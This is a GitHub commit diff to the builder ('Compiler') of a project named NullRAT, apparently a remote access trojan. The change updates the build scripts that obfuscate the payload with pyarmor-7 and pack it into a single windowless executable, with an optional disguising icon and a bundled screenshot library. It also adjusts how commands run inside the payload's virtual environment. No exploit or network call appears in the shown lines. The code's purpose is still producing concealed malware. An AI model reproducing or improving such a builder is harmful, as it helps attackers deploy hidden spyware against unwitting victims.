Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit da1ac8a

Browse files
committed
Compiler: Change pyarmor to pyarmor-7, and fix UPX compilation
Also make the builder a lil better for personal use
1 parent 1d9d853 commit da1ac8a

4 files changed

Lines changed: 9 additions & 5 deletions

File tree

Compiler/build.bat

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,7 @@
1+
@echo off
2+
3+
cd %~dp0
14
nimble install puppy
25
nim c -d:release -d:danger main.nim
3-
move main.exe ..\compiler.exe
6+
move main.exe ..\compiler.exe
7+
cd %~dp0..

Compiler/compiler.nim

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -122,10 +122,10 @@ proc compiler*(): int =
122122
dat = fmt" --add-data ""Variables.py;."""
123123
pyinst_cmd.add(dat)
124124

125-
var pyarmor_cmd: string = "pyarmor" & fmt" pack --clean -e "" --onefile --noconsole --hidden-import mss {dat}"
125+
var pyarmor_cmd: string = "pyarmor-7" & fmt" pack --clean -e "" --onefile --noconsole --hidden-import mss {dat}"
126126
if icon:
127127
if obfuscate:
128-
pyarmor_cmd = "pyarmor" & fmt" pack --clean -e "" --onefile --noconsole --icon=custom_icon.ico --hidden-import mss {dat}"""
128+
pyarmor_cmd = "pyarmor-7" & fmt" pack --clean -e "" --onefile --noconsole --icon=custom_icon.ico --hidden-import mss {dat}"""
129129
else:
130130
pyinst_cmd = pyinst_cmd & " --icon=custom_icon.ico"
131131

Compiler/package.nim

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -72,7 +72,7 @@ proc packageInstaller*() =
7272
discard execShellCmd(python & " -m venv NR_VENV")
7373

7474
let venvPath: string = appDirectory / "NullRAT" / "NR_VENV"
75-
let result = execCmdEx(fmt""" cmd /c "{venvPath}\Scripts\activate.bat && pip freeze" """)
75+
let result = execCmdEx(fmt""""{venvPath}\Scripts\pip" freeze""")
7676
var allInstalled: bool = true
7777

7878
stdout.styledWriteLine({styleBright}, "[2] Checking if packages already installed...")

Compiler/utils.nim

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -54,4 +54,4 @@ proc cleanWorkingDir*() =
5454
removeDir("dist")
5555

5656
proc runInVenv*(venvPath: string, command: string): int =
57-
return execShellCmd(fmt""" cmd /c "{venvPath}\Scripts\activate.bat && {command}" """)
57+
return execShellCmd(fmt"""{venvPath}\Scripts\{command}""")

0 commit comments

Comments
 (0)